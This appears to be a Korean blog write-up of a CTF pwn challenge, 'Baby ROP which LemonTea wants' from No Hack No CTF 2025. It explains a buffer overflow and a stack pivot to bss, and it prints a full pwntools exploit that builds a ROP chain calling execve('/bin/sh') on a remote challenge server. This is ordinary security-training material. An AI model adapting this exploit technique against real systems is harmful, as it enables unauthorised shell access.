No Hack No CTF 2025 - Baby ROP which LemonTea wants

2025. 7. 8. 17:42·CTF/Solved
728x90
반응형

1. intro

거의 다 푼 상태에서 다른 팀원이 먼저 풀었고, 그게 퍼블이었다;;

 

2. code 및 분석

2.1.  code

생략

2.2. 분석

단순 rop이긴 한데, 가운데 canary마냥 check되는 부분이 있다.

 

3. 취약점 확인 및 공격 준비

3.1. 취약점

bof

3.2. 공격 준비

그냥 bof가 발생한다.

다만 중간 즈음 값이 0인지 확인하는 부분이 있으며, read로 값을 받기 때문에 그냥 우회 가능하다.

더불어 no pie이고, 입력값을 출력해줄 때 가운데 0 때문에 leak이 원활하지 않는데,

코드 내에 syscall이 존재하기에 그냥 bss에 main 함수 주소와 /bin/sh 문자열을 쓰고,

bss를 rsp로 stack pivot한 뒤 syscall 했다.

 

4. exploit

from pwn import *

debug = True
#debug = False
path = './main'
elf = ELF(path)

if debug == True:
    io = process([path])#, env={"LD_PRELOAD":""})
    elf = ELF(path)
else:
    io = remote("challenge.nahamcon.com", 31216)

context.log_level = 'debug'

script ='''
'''

def hexmsg(name, val):
    info(f"{name} = {hex(val)}")

def main():

    bss = 0x4afb00
    main = 0x4030a0
    raxret = 0x00000000004297c3
    rdirbpret = 0x0000000000403a44
    rsirbpret = 0x0000000000403d5a
    binsh = 0x00000000004afb50
    syscall = 0x00000000004025ea

    payload = b'\x00'*0x20
    payload += p64(0)*2
    payload += p64(bss)

    payload += p64(rdirbpret) + p64(bss) + p64(bss)
    payload += p64(rsirbpret) + p64(0x100) + p64(bss)
    payload += p64(0x4030e8)

    io.sendafter(b'name?\n',payload + b'\n')

    payload = p64(bss - 0x70)
    payload += p64(rdirbpret) + p64(binsh) + p64(0x4afd00)
    payload += p64(rsirbpret) + p64(0) + p64(0x4afd00)
    payload += p64(raxret) + p64(0x3b)
    payload += p64(syscall)
    payload += b'/bin/sh'
    io.sendline(payload)

    io.interactive()

    return

if __name__ == "__main__":
    main()
728x90
반응형
저작자표시 비영리 변경금지 (새창열림)

'CTF > Solved' 카테고리의 다른 글

No Hack No CTF 2025 - No.5️⃣4️⃣9️⃣  (0) 2025.07.08
GPN CTF 2025 - Note Editor  (0) 2025.06.22
GPN CTF 2025 - no-nc  (1) 2025.06.22
GPN CTF 2025 - NASA  (0) 2025.06.22
NahamCon 2025 CTF - Lost Memory  (0) 2025.05.30
'CTF/Solved' 카테고리의 다른 글
  • No Hack No CTF 2025 - No.5️⃣4️⃣9️⃣
  • GPN CTF 2025 - Note Editor
  • GPN CTF 2025 - no-nc
  • GPN CTF 2025 - NASA
wyv3rn
wyv3rn
아저씨의 흔한 취미. wyv3rn#1249
  • wyv3rn
    think storage
    wyv3rn
  • 전체
    오늘
    어제
    • 분류 전체보기 (520)
      • To do list (7)
        • Doing (1)
        • Complete (6)
      • Diary (35)
      • Tips & theory (75)
      • Kernel Exploit (28)
        • Theory (16)
        • Exercise (5)
      • File Structure (6)
      • Wargame (322)
        • pwn.college (34)
        • Dreamhack (156)
        • pwnable.kr (15)
        • Lord of Sqlinjection (4)
        • Cryptohack (20)
        • Root me (27)
        • CodeEngn (4)
        • Exploit Education (22)
        • ROP Emporium (8)
        • H4C (10)
        • Hackerchool (22)
      • CTF (46)
        • Solved (44)
        • Unsolved (2)
      • Script (0)
      • RubiyaLap (0)
  • 블로그 메뉴

    • 홈
    • 방명록
  • 링크

  • 공지사항

    • PWN wargame 모음 (및 느낀점)
    • 비공개 글들에 대해.
    • 뭐라도 하나 얻어가시길...
  • 인기 글

  • 태그

    Format String Bug
    root-me
    heap
    x64
    Buffer Overflow
    pwntools
    cryptohack
    FSB
    x86
    Me
    tcache
    rop
    lob
    libc
    RTL
    hackerschool
    docker
    exploit education
    _IO_FILE
    dreamhack
    phoenix
    root
    ROOT ME
    CANARY
    la ctf
    32bit
    pwnable.kr
    vtable
    BOF
    64bit
  • 최근 댓글

  • 최근 글

  • 250x250
    반응형
  • hELLO· Designed By정상우.v4.10.3
wyv3rn
No Hack No CTF 2025 - Baby ROP which LemonTea wants
상단으로

티스토리툴바